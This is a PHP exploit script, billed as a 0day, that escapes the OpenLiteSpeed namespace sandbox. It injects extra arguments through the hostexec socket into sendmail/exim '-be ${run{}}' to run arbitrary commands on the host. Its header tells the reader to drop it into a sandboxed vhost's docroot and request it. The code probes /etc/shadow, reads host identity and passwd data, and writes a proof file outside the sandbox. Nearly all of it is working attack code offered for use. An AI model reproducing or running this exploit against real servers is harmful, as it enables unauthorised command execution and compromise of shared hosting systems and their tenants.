<?php
/*
 * OLS Namespace Sandbox Escape — hostexec argv injection
 * 0day: OpenLiteSpeed <= 1.9.1 with namespace sandbox
 *
 * Drop this into any OLS sandboxed vhost's docroot and request it.
 * Requires: /usr/sbin/sendmail -> exim (default on cPanel).
 *
 * The hostexec daemon validates only argv[0] against the allow-list.
 * argv[1..N] pass unmodified to execvpe(). We send:
 *   ["/usr/sbin/sendmail", "-be", "${run{cmd}}"]
 * The daemon exec's exim with -be outside the sandbox. Exim evaluates
 * the ${run{}} expansion and executes our command on the host.
 *
 * https://warez.sl0p.foo/ols-sandbox-escape/
 */

header('Content-Type: text/plain');

echo "OLS Namespace Sandbox Escape\n";
echo "hostexec argv injection → exim \${run{}} → host RCE\n";
echo str_repeat("=", 56) . "\n\n";

/* --- Show sandbox state --- */
$my_uid  = posix_getuid();
$my_user = posix_getpwuid($my_uid)['name'];
$my_ns   = @readlink('/proc/self/ns/mnt');

echo "[sandbox] uid=$my_uid ($my_user)\n";
echo "[sandbox] mount ns: $my_ns\n";
echo "[sandbox] /etc/shadow readable: " . (is_readable('/etc/shadow') ? 'YES' : 'no') . "\n";
echo "[sandbox] /root readable: " . (is_readable('/root') ? 'YES' : 'no') . "\n\n";

/* --- Find the hostexec socket --- */
$sock_file = '/usr/local/lsws/lsns/conf/current-hostexec-sock';
$sp = trim(@file_get_contents($sock_file));
if (!$sp) {
    /* Fallback: scan for hostexec.*.sock */
    $dir = '/usr/local/lsws/lsns/conf/';
    foreach (@scandir($dir) ?: [] as $f) {
        if (strpos($f, 'hostexec.') === 0 && substr($f, -5) === '.sock') {
            $sp = $dir . $f;
            break;
        }
    }
}
if (!$sp || !file_exists($sp)) {
    echo "[!] hostexec socket not found. Is namespace sandbox enabled?\n";
    echo "    Checked: $sock_file\n";
    exit(1);
}
echo "[*] hostexec socket: $sp\n\n";

/**
 * Send a hostexec request and return stdout.
 *
 * @param string $sp    Path to hostexec Unix socket
 * @param array  $argv  Argument vector (argv[0] must be allow-listed)
 * @return string       Combined stdout from the exec'd program
 */
function hostexec($sp, array $argv) {
    $c = @stream_socket_client("unix://$sp", $en, $es, 5);
    if (!$c) return "[connect failed: $es]";

    /* Build argv blob: NUL-separated */
    $ab = implode("\x00", $argv) . "\x00";
    /* Minimal env */
    $eb = "PATH=/usr/sbin:/usr/bin:/bin\x00";

    /* sandbox_init_req_t: pid, ppid, uid, gid, 3x rlimit, argc, argv_len, nenv, env_len */
    $r  = pack('llLL', getmypid(), posix_getppid(), posix_getuid(), posix_getgid());
    $r .= str_repeat(pack('PP', PHP_INT_MAX, PHP_INT_MAX), 3); /* rlimits (ignored) */
    $r .= pack('llll', count($argv), strlen($ab), 1, strlen($eb));

    fwrite($c, $r . $ab . $eb);
    usleep(50000);
    /* Terminate stdin */
    fwrite($c, pack('ll', 0, 0));

    /* Read response (sandbox_data_t frames) */
    sleep(1);
    stream_set_timeout($c, 2);
    $raw = '';
    while (!feof($c)) {
        $d = fread($c, 8192);
        if ($d === '' || $d === false) break;
        $raw .= $d;
    }
    fclose($c);

    /* Parse: type(4) + len(4) + data(len) per frame */
    $out = '';
    for ($i = 0; $i + 8 <= strlen($raw); ) {
        $v = unpack('ltype/llen', substr($raw, $i, 8));
        if ($v['type'] == 1 || $v['type'] == 2) {   /* STDOUT or STDERR */
            $out .= substr($raw, $i + 8, $v['len']);
            $i += 8 + $v['len'];
        } elseif ($v['type'] == 3) {                 /* DONE */
            break;
        } else {
            $i += 8 + max(0, $v['len']);
        }
    }
    return trim($out);
}

/**
 * Execute a command on the host via sendmail -be ${run{cmd}}.
 */
function run_on_host($sp, $cmd) {
    return hostexec($sp, ['/usr/sbin/sendmail', '-be', '${run{' . $cmd . '}}']);
}

/* --- Prove sandbox escape --- */
echo "--- commands executing OUTSIDE the sandbox ---\n\n";

$tests = [
    ['/usr/bin/id',                      'identity on host'],
    ['/bin/readlink /proc/self/ns/mnt',  'host mount namespace'],
    ['/bin/cat /etc/hostname',           'host hostname'],
    ['/usr/bin/wc -l /etc/passwd',       'users on host'],
];

foreach ($tests as [$cmd, $label]) {
    $r = run_on_host($sp, $cmd);
    echo "[$label]\n\$ $cmd\n$r\n\n";
}

/* Write a proof file on the HOST filesystem */
$ts = time();
run_on_host($sp, "/usr/bin/touch /tmp/ESCAPED_$ts");
$host_verify  = run_on_host($sp, "/bin/ls -la /tmp/ESCAPED_$ts");
$sandbox_sees = file_exists("/tmp/ESCAPED_$ts");

echo "[proof file]\n";
echo "\$ touch /tmp/ESCAPED_$ts\n";
echo "host: $host_verify\n";
echo "sandbox sees it: " . ($sandbox_sees ? 'YES' : 'NO (isolated /tmp)') . "\n\n";

/* Namespace comparison */
$host_ns = run_on_host($sp, '/bin/readlink /proc/self/ns/mnt');
echo str_repeat("=", 56) . "\n";
echo "sandbox ns: $my_ns\n";
echo "host ns:    $host_ns\n";
if ($host_ns && $host_ns !== $my_ns) {
    echo "\n*** SANDBOX ESCAPED — code ran in a different namespace ***\n";
} else {
    echo "\n[!] namespaces match — sandbox may not be active, or exim\n";
    echo "    does not support \${run{}} in this build.\n";
}
